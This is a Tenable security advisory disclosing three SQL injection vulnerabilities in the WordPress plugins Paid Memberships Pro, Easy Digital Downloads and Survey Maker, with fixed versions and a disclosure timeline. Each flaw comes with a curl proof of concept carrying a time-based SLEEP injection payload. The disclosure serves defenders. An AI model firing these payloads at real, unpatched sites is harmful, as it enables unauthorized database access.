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SQL Injection in Multiple WordPress Plugins

Critical

Synopsis

Joshua Martinelle of Tenable Research discovered multiple SQL Injection vulnerabilities across a number of WordPress plugins. This advisory will track each vulnerability as information and fixes become available.


Paid Memberships Pro : CVE-2023-23488 - Unauthenticated SQL Injection
Reference: https://wordpress.org/plugins/paid-memberships-pro
Affected Versions: < 2.9.8
CVSSv3 Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CVSSv3 Score: 9.8

The plugin does not escape the 'code' parameter in the /pmpro/v1/order REST route before using it in a SQL statement, leading to an unauthenticated SQL injection vulnerability. 

Proof of Concept:
Where TARGET_HOST is the address of the wordpress host with Paid Memberships Pro installed, the following proof of concept uses the SLEEP function to demonstrate the SQL injection. Changing the value passed to sleep will alter how long the request takes to return.

curl "http://TARGET_HOST/?rest_route=/pmpro/v1/order&code=a%27%20OR%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)--%20-"

For example, running this twice with the "time" command will show the difference in response times:

time curl "http://TARGET_HOST/?rest_route=/pmpro/v1/order&code=a%27%20OR%20(SELECT%201%20FROM%20(SELECT(SLEEP(1)))a)--%20-"
{}
real    0m3.068s
user    0m0.006s
sys    0m0.009s

time curl "http://TARGET_HOST/?rest_route=/pmpro/v1/order&code=a%27%20OR%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)--%20-"
{}
real    0m6.095s
user    0m0.006s
sys    0m0.009s

Easy Digital Downloads: CVE-2023-23489 - Unauthenticated SQL Injection
Reference:
https://wordpress.org/plugins/easy-digital-downloads/
Affected Versions: 3.1.0.2 & 3.1.0.3
CVSSv3 Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CVSSv3 Score: 9.8

The plugin does not escape the 's' parameter in the 'edd_download_search' action before using it in a SQL statement, leading to an unauthenticated SQL injection vulnerability. 
The vulnerable part of the code corresponds to the 'edd_ajax_download_search()' function of the './includes/ajax-functions.php' file.

Proof of Concept:
Where TARGET_HOST is the address of the wordpress host with Paid Memberships Pro installed, the following proof of concept uses the SLEEP function to demonstrate the SQL injection. Changing the value passed to sleep will alter how long the request takes to return. 

Note: The same SQL injection/unique request will not work twice in a row right away, as the 'edd_ajax_download_search()' function stores the most recent search for 30 seconds (so to run the same payload again, you will have to modify the payload slightly or wait 30 seconds).

curl "http://TARGET_HOST/wp-admin/admin-ajax.php?action=edd_download_search&s=1'+AND+(SELECT+1+FROM+(SELECT(SLEEP(2)))a)--+-"

Survey Maker: CVE-2023-23490 - Authenticated SQL Injection
Reference: 
https://wordpress.org/plugins/survey-maker
Affected Versions: < 3.1.2
CVSSv3 Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CVSSv3 Score: 8.8

The plugin does not escape the ‘surveys_ids’ parameter in the 'ays_surveys_export_json' action before using it in a SQL statement, leading to an authenticated SQL injection vulnerability.
 
The vulnerability requires the attacker to be authenticated but does not require administrator privileges, the following example uses an account with the 'subscriber' privilege level.

Proof of concept:
A simple curl command can be used to demonstrate the issue (though it requires a valid / current WP session cookie). In the proof of concept below, replace $TARGET_HOST with the target wordpress instance, and $WP_COOKIE with the full cookie header (i.e. "Cookie : wordpress_xyz...") for a logged-in WP user.

curl "http://$TARGET_HOST/wp-admin/admin-ajax.php" --header "$WP_COOKIE" --data "action=ays_surveys_export_json&surveys_ids[0]=1)+AND+(SELECT+1+FROM+(SELECT(SLEEP(3)))a)--+-"

Solution

Paid Memberships Pro: Fixed in version 2.9.8

Easy Digital Downloads: Fixed in version 3.1.0.4

Survey Maker: Fixed in version 3.1.2

Disclosure Timeline

19 December 2022 - Reported issues to WordPress
20 December 2022 - WordPress acknowledges the reports
21 December 2022 - Survey Maker fix released in 3.1.2
27 December 2022 - Paid Memberships Pro fix released in 2.9.8
5 January 2023 - Easy Digital Downloads fix released in 3.1.0.4

All information within TRA advisories is provided “as is”, without warranty of any kind, including the implied warranties of merchantability and fitness for a particular purpose, and with no guarantee of completeness, accuracy, or timeliness. Individuals and organizations are responsible for assessing the impact of any actual or potential security vulnerability.

Tenable takes product security very seriously. If you believe you have found a vulnerability in one of our products, we ask that you please work with us to quickly resolve it in order to protect customers. Tenable believes in responding quickly to such reports, maintaining communication with researchers, and providing a solution in short order.

For more details on submitting vulnerability information, please see our Vulnerability Reporting Guidelines page.

If you have questions or corrections about this advisory, please email [email protected]

Risk Information

Tenable Advisory ID
TRA-2023-2
Credit
Joshua Martinelle
CVSSv3 Base / Temporal Score
9.8
8.8
CVSSv3 Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Affected Products
Paid Memberships Pro WordPress Plugin
Easy Digital Downloads WordPress Plugin
Survey Maker WordPress Plugin
Risk Factor
Critical

Advisory Timeline

12 January 2023 - Advisory Published
16 January 2023 - Corrected affected versions for Easy Digital Downloads
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